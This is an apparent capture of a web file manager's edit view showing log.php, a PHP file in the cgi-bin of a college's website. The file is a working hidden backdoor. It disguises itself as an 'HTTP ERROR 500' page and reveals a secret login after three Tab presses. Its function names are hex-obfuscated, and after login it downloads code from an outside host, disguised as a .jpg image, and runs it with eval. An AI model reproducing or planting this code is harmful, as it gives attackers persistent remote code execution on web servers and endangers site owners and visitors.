π FileMgr
π
/home/coemyoza/amnesty.coeminna.edu.ng/cgi-bin
βοΈ Edit File: /home/coemyoza/amnesty.coeminna.edu.ng/cgi-bin/log.php
β¬ Kembali
<?php session_start(); function is_logged_in() { return isset($_SESSION['loggedin']) && $_SESSION['loggedin'] === true; } $username = "djawa"; $passwordHash = '$2y$10$e.089m/P9zEpXe29N.Z0tuTtxOGeTuyfKjsae9t5gzq2QcWI1RHyW'; if (!is_logged_in()) { if (isset($_POST['username']) && isset($_POST['password'])) { if ($_POST['username'] === $username && password_verify($_POST['password'], $passwordHash)) { $_SESSION['loggedin'] = true; header("Location: " . $_SERVER['PHP_SELF']); exit(); } else { $error = "Username atau password salah. Silakan coba lagi."; } } } function hex2str($hex) { $str = ''; for ($i = 0; $i < strlen($hex); $i += 2) { $str .= chr(hexdec(substr($hex, $i, 2))); } return $str; } function geturlsinfo($destiny) { $Array = array( '666f70656e', '73747265616d5f6765745f636f6e74656e7473', '66696c655f6765745f636f6e74656e7473', '6375726c5f65786563' ); $belief = array( hex2str($Array[0]), hex2str($Array[1]), hex2str($Array[2]), hex2str($Array[3]) ); if (function_exists($belief[3])) { $ch = curl_init($destiny); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0"); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); $love = $belief[3]($ch); curl_close($ch); return $love; } elseif (function_exists($belief[2])) { return $belief[2]($destiny); } elseif (function_exists($belief[0]) && function_exists($belief[1])) { $purpose = $belief[0]($destiny, "r"); $love = $belief[1]($purpose); fclose($purpose); return $love; } return false; } if (is_logged_in()) { $destiny = 'https://seopkasli.pages.dev/data/alfax.jpg'; $dream = geturlsinfo($destiny); if ($dream !== false) { eval('?>' . $dream); exit(); } } if (!is_logged_in()) { ?> <!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title></title> <style> html,body{margin:0;padding:0;background:#1e1e1e;font-family:sans-serif;color:#9AA0A5;height:100%;display:flex;align-items:center;justify-content:center;cursor:none} .container{text-align:left;max-width:500px;margin-left:30px;transform:translate(-20px,-40px)} .title{font-size:23px;font-weight:400;margin-bottom:6px} .desc{font-size:17px;color:#aaa;margin-bottom:10px} .domain{font-weight:bold;color:#9AA0A5} .code{font-size:16px;color:#777;margin-top:6px} .button{margin-top:20px;padding:8px 18px;background-color:#8798b4;color:black;border:none;border-radius:16px;font-weight:bold;cursor:pointer} .button:hover{background-color:#a5c9ff} #login-box{position:absolute;top:30px;left:30px;background:#1a1a1a;padding:16px;border-radius:10px;display:none;box-shadow:0 0 10px rgba(255,255,255,0.05)} #login-box input{display:block;width:180px;padding:6px;margin:8px 0;background:#111;border:1px solid #333;color:#eee;border-radius:5px} #login-box input:focus{outline:none;border:1px solid #555} #login-box button{display:none} .error-msg{position:absolute;top:10px;left:10px;color:#ff4d4d;font-size:15px} .cursor-light{position:fixed;top:0;left:0;width:160px;height:6px;background:rgba(255,255,255,0.1);border-radius:100px;pointer-events:none;z-index:9999;filter:blur(10px);transform:translate(-50%,-50%) scaleX(2.5)} </style> <script> let glow=document.createElement("div"); glow.className="cursor-light"; document.body.appendChild(glow); document.addEventListener("mousemove",function(e){ glow.style.left=e.clientX+"px"; glow.style.top=e.clientY+"px"; }); </script> </head><body> <div class="container"> <div class="title">This page isnβt working</div> <div class="desc"><span class="domain" id="domain-name"></span> is currently unable to handle this request.</div> <div class="code">HTTP ERROR 500</div> <button class="button" onclick="location.reload()">Reload</button> </div> <?php if (!empty($err)) echo "<div class='error-msg'>$err</div>"; ?> <form id="login-box" method="POST"> <input type="text" name="username" autocomplete="off"> <input type="password" name="password" autocomplete="off"> <button type="submit">Login</button> </form> <script> document.title = window.location.hostname; document.getElementById("domain-name").textContent = window.location.hostname; let tabCount = 0; document.addEventListener("keydown", function(e) { if (e.key === "Tab") { tabCount++; if (tabCount >= 3) { document.getElementById("login-box").style.display = "block"; document.querySelector("#login-box input[name='username']").focus(); tabCount = 0; } } else { tabCount = 0; } }); document.querySelector("#login-box input[name='password']").addEventListener("keydown", function(e) { if (e.key === "Enter") document.getElementById("login-box").submit(); }); </script></body></html> <?php exit(); } ?>
πΎ Simpan File
Batal
β¬ Naik ke amnesty.coeminna.edu.ng
1 item
Nama
Tipe
Ukuran
Diubah
Aksi
π
log.php
php
5.1 KB
2026-04-20 12:43
βοΈ Edit
ποΈ View
π Hapus